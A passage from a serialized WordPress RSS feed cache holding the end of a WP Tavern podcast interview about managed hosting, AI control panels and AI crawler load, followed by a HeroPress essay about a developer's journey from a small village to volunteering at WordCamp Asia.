some things, but I would like to go back. An audit log, as you&#8217;ve said, it&#8217;s fairly mind numbing stuff.</p>\n\n\n\n<p class="wp-block-paragraph">But we are going to be producing so many more amendments if all we have to do is speak because you can easily, you know, imagine it. I want the Christmas theme. No, not that one. Try something else. No, there&#8217;s too much red in that. Swap the red for the blue. And Father Christmas, I&#8217;d like him on the homepage but, no, a different one. In 12 seconds we&#8217;ve got thousands and thousands of things that have happened.</p>\n\n\n\n<p class="wp-block-paragraph">[00:44:06] <strong>Malcolm Peralty:</strong> I will say though, how much of that do you remember doing manually, right? Like I&#8217;ve gotten to the end of that kind of thought process and gone, wait, there was like a theme like two or three themes ago that actually was, a little bit of customisation could have been cool. What was that theme?</p>\n\n\n\n<p class="wp-block-paragraph">Even as a human, I&#8217;ve had lapses in memory when I&#8217;m quickly producing outcomes where I can&#8217;t necessarily roll it back so easily. So at least with an audit log, you&#8217;ll have a much better understanding of what was done and when. Human memory is also failable.</p>\n\n\n\n<p class="wp-block-paragraph">[00:44:30] <strong>Nathan Wrigley:</strong> Yeah, and I guess it&#8217;ll be interesting to see how much of that burden companies like Pressable take on. Like, you mentioned backups, maybe it will become de rigueur for you every few seconds whilst there&#8217;s interactions with MCPs. Look, we&#8217;re just going to go belt and braces. Every time you do something, which we detect is fairly sizable, we&#8217;re just going to take a backup, even though you never asked us to just in case. You know, those kind of things.</p>\n\n\n\n<p class="wp-block-paragraph">And have a UI to surface information so that the audit log is readable and those kind of things. And that&#8217;s all ahead of you. So it doesn&#8217;t exist moment, but it&#8217;ll certainly be things that will need to be tooled and invented in the future, I would&#8217;ve imagined.</p>\n\n\n\n<p class="wp-block-paragraph">[00:45:10] <strong>Malcolm Peralty:</strong> I mean, one of the hard parts, this might be transitioning the conversation a little bit, one of the hard parts is, you mentioned that AI is creating all these artefacts, and now all these potential backups. AI is already like indexing all of these websites and creating a lot of web traffic, and a lot of load on servers, for example. We had a recent instance where an AI bot went to a website and kept on adding different products to the cart and removing them. Well, every time it added a product to a cart was now an uncachable session.</p>\n\n\n\n<p class="wp-block-paragraph">And it did this millions of times over the course of a day. So we were like, okay, we got to block this bot. This is crazy. So we blocked the bot and about like 10 minutes later we start seeing the exact same traffic pattern from a completely different IP address with a completely different user agent. The bot had figured out an end way around our block and was now doing that same task again to try to, I don&#8217;t know, understand this website better, right?</p>\n\n\n\n<p class="wp-block-paragraph">The problem is, as an industry, we don&#8217;t know how to pass these costs on to customers because they think it&#8217;s kind of unfair in a way, right? Like, why should I have to pay for additional storage for all these audit logs and all these backups? For more bandwidth for my website or more resources for my website, to host or send all of my pages to these different AI bots? And it all kind of comes on us where we either have to like comp all of this technical effort that&#8217;s existing, or we have to convince clients to be okay with paying for it. And that has been a really interesting change in the dynamic with a hosting partner.</p>\n\n\n\n<p class="wp-block-paragraph">[00:46:24] <strong>Nathan Wrigley:</strong> That is so interesting. All those hidden costs, all those hidden things going on. Maybe there needs to be a luddite toggle in the UI somewhere where you just disable all of it. I want the WordPress UI, I want to do things manually. This is my preferred way of doing things.</p>\n\n\n\n<p class="wp-block-paragraph">[00:46:38] <strong>Malcolm Peralty:</strong> Block ChatGPT. Block Claude. I don&#8217;t want any of them viewing my website. Forget them.</p>\n\n\n\n<p class="wp-block-paragraph">[00:46:42] <strong>Nathan Wrigley:</strong> But it will be curious to see if there&#8217;s a subset of people who are, as you&#8217;ve described, unwilling to pay for that stuff because it&#8217;s simply something that they don&#8217;t use. They have no anticipation of using. It will be interesting to see if there&#8217;s a subset of people.</p>\n\n\n\n<p class="wp-block-paragraph">And also how clever these technologies become to disrupt things like that. You know, malicious actors out there who managed to come up with a million different ways to circuit around the blocks that you put on. And it will be interesting to see if just the cost of being online does rise with the advent of AI.</p>\n\n\n\n<p class="wp-block-paragraph">I mean, certainly the storage of all of these things is certainly going to rise. The conversations with the AI is certainly adding a financial cost. You know, there&#8217;s lots of hardware being built at the moment and there&#8217;s a cost to that. Certainly isn&#8217;t cheap. But whether or not we can cope with that, and whether or not your price points can keep up with that, and whether customers are going to pay for it.</p>\n\n\n\n<p class="wp-block-paragraph">Okay, there we go. That is so interesting. There&#8217;s so much stuff to dive into there. We could probably talk for another hour or so, but there we go. So, Malcolm, if anybody wants to reach out to you or learn more about Pressable, I guess, where would we reach out to you? Do you do social media or whatever it may be?</p>\n\n\n\n<p class="wp-block-paragraph">[00:47:51] <strong>Malcolm Peralty:</strong> I try not to. For Pressable, it&#8217;s pressable.com. For myself, I&#8217;d prefer you go through my personal website, which is my last name, .com. So peralty.com. And if you do want to get me on social media, honestly, really the only one I&#8217;m ever on is LinkedIn and I only kind of connect with people that I actually connect with. And then Twitter or X or whatever it&#8217;s called, I passively view from time to time. But honestly, the best other places would be, you know, you could probably find me on one of the WordPress Slack communities, for example, if you&#8217;re really interested.</p>\n\n\n\n<p class="wp-block-paragraph">[00:48:18] <strong>Nathan Wrigley:</strong> Okay, so Peralty, peralty.com. If you are driving a car listening to this and you can&#8217;t write it down, then go to wptavern.com, search for the episode with Malcolm Peralty in it, we will have all of the links that were suggested and talked about during this episode right on the episode show notes. So, Malcolm, thank you so much for chatting to me today and peeling back the curtain a little bit on the hosting over at Pressable. Thank you.</p>\n\n\n\n<p class="wp-block-paragraph">[00:48:42] <strong>Malcolm Peralty:</strong> I appreciate it. Appreciate it so much. Thank you for having me.</p>\n</div></details>\n\n\n\n<p class="wp-block-paragraph">On the podcast today we have <a href="https://peralty.com">Malcolm Peralty</a>.</p>\n\n\n\n<p class="wp-block-paragraph">Malcolm has been immersed in the WordPress ecosystem for nearly 20 years, starting out as a full-time blogger and working his way through tech roles in project management, agencies, and even a stint in the Drupal space. These days, Malcolm is bringing his experience back to WordPress, serving as a technical account manager at Pressable, a managed WordPress hosting company.</p>\n\n\n\n<p class="wp-block-paragraph">Malcolm shares how he found his way from early forays with WordPress to managing large-scale hosting environments. He talks about the lure of the Drupal world, and why he ultimately returned to WordPress and Pressable.</p>\n\n\n\n<p class="wp-block-paragraph">We discuss what technical account management means at Pressable, how his role differs from sales and support, focusing instead on long-term strategy for clients, performance optimisation, and bridging the gap between customer needs, and the underlying WP Cloud infrastructure. We hear how Pressable proactively helps clients, sometimes even advising them to downgrade their plans if optimisations mean they need fewer resources.</p>\n\n\n\n<p class="wp-block-paragraph">We go behind the scenes in Pressable, getting into how hardware considerations, plugin bloat, WooCommerce or LMS sites, and customer hand-holding all come together inside one company. Malcolm gives us a candid look at performance challenges, the ways hosts interact with infrastructure teams, and why education around WordPress performance is so tough, even as competing platforms prioritise speed at all costs.</p>\n\n\n\n<p class="wp-block-paragraph">We also look to the future. What are the cutting-edge trends in hosting, like database replication, virtual clusters, and especially the rise of AI within the hosting experience. Malcolm explains Pressable’s upcoming MCP, an AI-powered control panel that promises to let you deploy and manage WordPress sites using natural language. We explore how AI will impact everything from customer support to site deployment, potential pitfalls, and the challenge of balancing automation with human relationships.</p>\n\n\n\n<p class="wp-block-paragraph">If you’re curious about the state of managed WordPress hosting today, the interplay of tech, support, and AI, or just want to know what&#8217;s happening behind the curtain, this episode is for you.</p>\n\n\n\n<h2 class="wp-block-heading">Useful links</h2>\n\n\n\n<p class="wp-block-paragraph"><a href="https://pressable.com">Pressable</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://drupal.org">Drupal</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.acquia.com">Acquia</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://wp.cloud">WP Cloud</a></p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://peralty.com">peralty.com</a></p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 22 Apr 2026 14:00:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Nathan Wrigley";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:32;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:83:"HeroPress: 😊 From a Small Village to WordCamp Asia: My WordPress Journey 🌍✨";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:56:"https://heropress.com/?post_type=heropress-essays&p=8586";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:190:"https://heropress.com/essays/from-a-small-village-to-wordcamp-asia-my-wordpress-journey/#utm_source=rss&utm_medium=rss&utm_campaign=from-a-small-village-to-wordcamp-asia-my-wordpress-journey";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:70393:"<img alt="Pull quote: WordPress gave me confidence. It gave me a voice. It gave me a community." class="attachment-large size-large wp-post-image" height="512" src="https://heropress.com/wp-content/uploads/3026/04/042126.webp" width="1024" /><p><a href="https://heropress.com/feed/#gujarati">આ નિબંધ ગુજરાતીમાં પણ ઉપલબ્ધ છે</a></p>\n\n\n\n<p><a href="https://heropress.com/feed/#hindi">वर्डप्रेसने मुझे मेरे ज़िंदगी में कुछ अलग करने का मौक़ा दिया।</a></p>\n\n\n\n<figure class="wp-block-audio"><audio controls="controls" src="https://heropress.com/wp-content/uploads/3026/04/english_essay.mp3"></audio><figcaption class="wp-element-caption">Hear Shital read her essay in her own voice!</figcaption></figure>\n\n\n\n<h3 class="wp-block-heading" id="h-from-curiosity-to-contribution-how-wordpress-helped-me-build-a-career-confidence-and-global-opportunities"><strong><em>From Curiosity to Contribution — How WordPress Helped Me Build a Career, Confidence, and Global Opportunities</em></strong><strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></strong></h3>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-introduction"><strong><img alt="🌱" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f331.png" style="height: 1em;" /> Introduction</strong></h2>\n\n\n\n<p>Every journey begins with a small step, often driven by curiosity rather than clarity. My journey into technology was not planned. It started with a simple question: <em>What should I learn?</em> <img alt="🤔" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" style="height: 1em;" /></p>\n\n\n\n<p>Coming from a small village with limited exposure to computers, I never imagined that one day I would be part of a global community and attend an international event like WordCamp Asia <img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" />.</p>\n\n\n\n<p>My path was not traditional. I did not come from a technical background, nor did I have a clear roadmap. But what I did have was curiosity, determination, and the willingness to learn <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" />.</p>\n\n\n\n<p>Over time, that curiosity turned into skills, those skills turned into a career, and that career connected me to a global community through WordPress <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" />.</p>\n\n\n\n<p>This is the story of how WordPress became the source of my satisfaction and joy <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" />.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-early-life-and-education"><strong><img alt="🎓" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f393.png" style="height: 1em;" /> Early Life and Education</strong></h2>\n\n\n\n<p>I come from a small village, where opportunities in technology were limited. For higher education, I moved to the city of Rajkot <img alt="🏙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3d9.png" style="height: 1em;" />.</p>\n\n\n\n<p>Like many students, I followed a traditional academic path and completed my Bachelor of Science in Chemistry.</p>\n\n\n\n<p>However, after completing my degree, I felt uncertain about my future <img alt="😕" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f615.png" style="height: 1em;" />. Chemistry was my subject, but it was not my passion.</p>\n\n\n\n<p>That is when I decided to learn computers <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" />.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-starting-my-computer-journey"><strong><img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /> Starting My Computer Journey</strong></h2>\n\n\n\n<p>In 2009, I enrolled in a Computer Engineering course. Everything was new to me—programming, logic, and technical concepts.</p>\n\n\n\n<p>It was not easy, especially coming from a non-technical background. But I was determined to learn <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" />.</p>\n\n\n\n<p>I joined a 3-month training program but completed only 1.5 months. At that point, I had a choice:</p>\n\n\n\n<p>Wait… or take a risk.</p>\n\n\n\n<p>I chose to take a risk <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" />.</p>\n\n\n\n<p>I applied for a job—and I was selected as a PHP Web Developer <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" />.</p>\n\n\n\n<p>That moment changed my life.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-building-a-career-in-php"><strong><img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /> Building a Career in PHP</strong></h2>\n\n\n\n<p>For the next five years, I worked as a Core PHP Developer.</p>\n\n\n\n<p>Then one day, everything changed.</p>\n\n\n\n<p>My boss said:<br />“Add content to the WordPress post sidebar.”</p>\n\n\n\n<p>I was shocked <img alt="😳" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f633.png" style="height: 1em;" />.</p>\n\n\n\n<p>I didn’t know WordPress.</p>\n\n\n\n<p>But I didn’t give up.</p>\n\n\n\n<p>I searched, learned, and completed the task <img alt="🔍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" style="height: 1em;" />.</p>\n\n\n\n<p>That one moment changed my direction forever.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-discovering-wordpress"><strong><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /> Discovering WordPress</strong></h2>\n\n\n\n<p>As I explored WordPress, I realized its true power.</p>\n\n\n\n<p>With less code, we could build faster, better, and smarter websites <img alt="⚡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" style="height: 1em;" />.</p>\n\n\n\n<p>In 2015, I decided to focus fully on WordPress.</p>\n\n\n\n<p>And that decision changed my life.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-choosing-independence"><strong><img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /> Choosing Independence</strong></h2>\n\n\n\n<p>In 2018, I took another big step—I left my job.</p>\n\n\n\n<p>I started working remotely as a WordPress Developer <img alt="💼" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bc.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" />.</p>\n\n\n\n<p>It was risky… but it gave me freedom <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" />.</p>\n\n\n\n<p>Freedom to work globally.<br />Freedom to grow.<br />Freedom to dream bigger.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-becoming-a-contributor"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> Becoming a Contributor</strong></h2>\n\n\n\n<p>I developed and published two plugins in the WordPress repository—<strong>Contact Information Widget</strong> and <strong>Shital Quiz Cloner for LearnDash</strong> <img alt="🔌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" />.</p>\n\n\n\n<p>Seeing people use my work gave me deep satisfaction <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" />.</p>\n\n\n\n<p>I started contributing to Core, Meta, and Polyglots.</p>\n\n\n\n<p>I became a <strong>Core and Meta Contributor in WordPress</strong> <img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" />.</p>\n\n\n\n<p>I have contributed to multiple WordPress releases, including:</p>\n\n\n\n<ul class="wp-block-list">\n<li>4.9 “Tipton”</li>\n\n\n\n<li>4.9.5 Security and Maintenance Release</li>\n\n\n\n<li>5.0 “Bebo”</li>\n\n\n\n<li>5.1 “Betty”</li>\n\n\n\n<li>5.2 “Jaco”</li>\n\n\n\n<li>5.3 “Kirk”</li>\n\n\n\n<li>5.4 “Adderley”</li>\n\n\n\n<li>5.5 “Eckstine”</li>\n\n\n\n<li>5.6 “Simone”</li>\n\n\n\n<li>5.7 “Esperanza”</li>\n\n\n\n<li>5.8 “Tatum”</li>\n\n\n\n<li>5.9 “Josephine”</li>\n\n\n\n<li>6.0 “Arturo”</li>\n\n\n\n<li>6.6 “Dorsey”</li>\n</ul>\n\n\n\n<p><img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></p>\n\n\n\n<p>I was also honored to be part of the <strong>Women Squad for WordPress 5.6 Release Planning</strong> <img alt="😍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60d.png" style="height: 1em;" /><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /><img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" /><img alt="👍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f44d.png" style="height: 1em;" /><img alt="👩‍💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f469-200d-1f4bb.png" style="height: 1em;" />.</p>\n\n\n\n<p>Seeing my name <strong>“Shital Marakana”</strong> in Design, Tech, and Lead was an unforgettable moment <img alt="💖" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f496.png" style="height: 1em;" />.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-wordcamp-experiences-in-india"><strong><img alt="🎤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a4.png" style="height: 1em;" /> WordCamp Experiences in India</strong></h2>\n\n\n\n<p>My first WordCamp in Mumbai was an amazing experience <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" />.</p>\n\n\n\n<p>I realized something important:</p>\n\n\n\n<p>WordPress is not just about code…<br />It is about people <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" />.</p>\n\n\n\n<p>I attended WordCamps in Mumbai, Nagpur, and Ahmedabad.</p>\n\n\n\n<p>Each one helped me grow.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-the-dream-of-wordcamp-asia"><strong><img alt="✈" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2708.png" style="height: 1em;" /> The Dream of WordCamp Asia</strong></h2>\n\n\n\n<p>WordCamp Asia was my dream <img alt="🌏" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30f.png" style="height: 1em;" />.</p>\n\n\n\n<p>But financially, it was difficult.</p>\n\n\n\n<p>So I watched live streams <img alt="📺" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4fa.png" style="height: 1em;" /><br />I learned online <img alt="💻" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" style="height: 1em;" /><br />I stayed inspired <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<p>And I waited…</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-dream-became-reality"><strong><img alt="🌟" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" style="height: 1em;" /> Dream Became Reality</strong></h2>\n\n\n\n<p>Finally, my dream came true <img alt="🎉" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f389.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" />.</p>\n\n\n\n<p>I was selected as a <strong>volunteer at WordCamp Asia</strong> <img alt="🙌" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f64c.png" style="height: 1em;" />.</p>\n\n\n\n<p>I also received the <strong><a href="https://asia.wordcamp.org/2026/zeel-thakkar-memorial-scholarship/">Zeel Thakkar Scholarship</a></strong> <img alt="🏆" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c6.png" style="height: 1em;" />.</p>\n\n\n\n<p>The most special part?</p>\n\n\n\n<p>I attended with my family <img alt="👨‍👩‍👦" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f468-200d-1f469-200d-1f466.png" style="height: 1em;" /><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" />.</p>\n\n\n\n<p>My husband supported me.</p>\n\n\n\n<p>My 4-year-old son, <strong>Mantra</strong>, enjoyed every moment <img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" />.</p>\n\n\n\n<p>This was not just my journey—it became our journey.</p>\n\n\n\n<figure class="wp-block-image size-large"><a href="https://heropress.com/wp-content/uploads/3026/04/73052.jpg"><img alt="All WCAsia attendees in the auditorium" class="wp-image-8599" height="536" src="https://heropress.com/wp-content/uploads/3026/04/73052-1024x536.jpg" width="1024" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-volunteering-at-wordcamp-asia"><strong><img alt="🤝" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f91d.png" style="height: 1em;" /> Volunteering at WordCamp Asia</strong></h2>\n\n\n\n<p>Volunteering was one of the most meaningful experiences of my life <img alt="💙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f499.png" style="height: 1em;" />.</p>\n\n\n\n<p>I worked with people from around the world <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" />.</p>\n\n\n\n<p>At the end, I received my volunteer certificate <img alt="📜" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" style="height: 1em;" />.</p>\n\n\n\n<p>It was not just a certificate.</p>\n\n\n\n<p>It was a symbol of my journey.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-what-wordcamp-asia-gave-me"><strong><img alt="💡" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" style="height: 1em;" /> What WordCamp Asia Gave Me</strong></h2>\n\n\n\n<p>Did it give me financial freedom?<br />Not immediately.</p>\n\n\n\n<p>Did it give me community?<br />Yes <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" />.</p>\n\n\n\n<p>Did it give me global exposure?<br />Absolutely <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" />.</p>\n\n\n\n<p>But most importantly—</p>\n\n\n\n<p>It gave me direction.</p>\n\n\n\n<figure class="wp-block-image size-full"><a href="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp"><img alt="WCAsia group photo" class="wp-image-8582" height="600" src="https://heropress.com/wp-content/uploads/2026/04/wcasia.webp" width="900" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading" id="h-conclusion"><strong><img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" /> Conclusion</strong></h2>\n\n\n\n<p>When I look back at my journey, it feels like a story of courage, belief, and growth <img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" />.</p>\n\n\n\n<p>WordPress started as curiosity…<br />But it became my identity.</p>\n\n\n\n<p>From a small village to a global stage <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" />—<br />this journey changed me.</p>\n\n\n\n<p>There were doubts.<br />There were fears.<br />But I kept going <img alt="💪" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" style="height: 1em;" />.</p>\n\n\n\n<p>And WordCamp Asia became my turning point.</p>\n\n\n\n<p>It didn’t just give me results—<br />it gave me direction.</p>\n\n\n\n<p>It didn’t just give me success—<br />it gave me possibility.</p>\n\n\n\n<p>It didn’t just change my present—<br />it shaped my future.</p>\n\n\n\n<p>WordPress gave me confidence.<br />It gave me a voice.<br />It gave me a community <img alt="❤" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" style="height: 1em;" />.</p>\n\n\n\n<p>And today, I know—</p>\n\n\n\n<p><strong>It is not just what I do—it is who I have become, and who I am still becoming.</strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<h1 class="wp-block-heading" id="gujarati"><strong><img alt="😊" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60a.png" style="height: 1em;" /> એક નાના ગામથી વર્ડકેમ્પ એશિયા સુધી: મારી વર્ડપ્રેસ સફર <img alt="🌍" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" style="height: 1em;" /><img alt="✨" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" style="height: 1em;" /></strong></h1>\n\n\n\n<figure class="wp-block-audio"><audio controls="controls" src="https://heropress.com/wp-content/uploads/3026/04/gujarati_essay.mp3"></audio><figcaption class="wp-element-caption">શીતલને તેના પોતાના અવાજમાં તેનો નિબંધ વાંચતા સાંભળો!</figcaption></figure>\n\n\n\n<h3 class="wp-block-heading"><strong><em>જિજ્ઞાસાથી કોન્ટ્રીબ્યુશન સુધી — વર્ડપ્રેસે કેવી રીતે મને કારકિર્દી, આત્મવિશ્વાસ અને વૈશ્વિક તકો આપી</em></strong><strong> <img alt="🚀" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" style="height: 1em;" /></strong></h3>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<h2 class="wp-block-heading"><strong><img alt="🌱" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f331.png" style="height: 1em;" /> પરિચય</strong></h2>\n\n\n\n<p>દરેક સફર એક નાના પગલાથી શરૂ થાય છે, <em>ઘણીવાર સ્પષ્ટતા કરતાં જિજ્ઞાસાથી પ્રેરિત થાય છે.</em><br />મારી ટેક્નોલોજીની સફર પણ એવી જ હતી — કોઈ પ્લાન નહોતો, માત્ર એક સવાલ હતો: <em>મારે શું શીખવું જોઈએ? <img alt="🤔" class="wp-smiley" 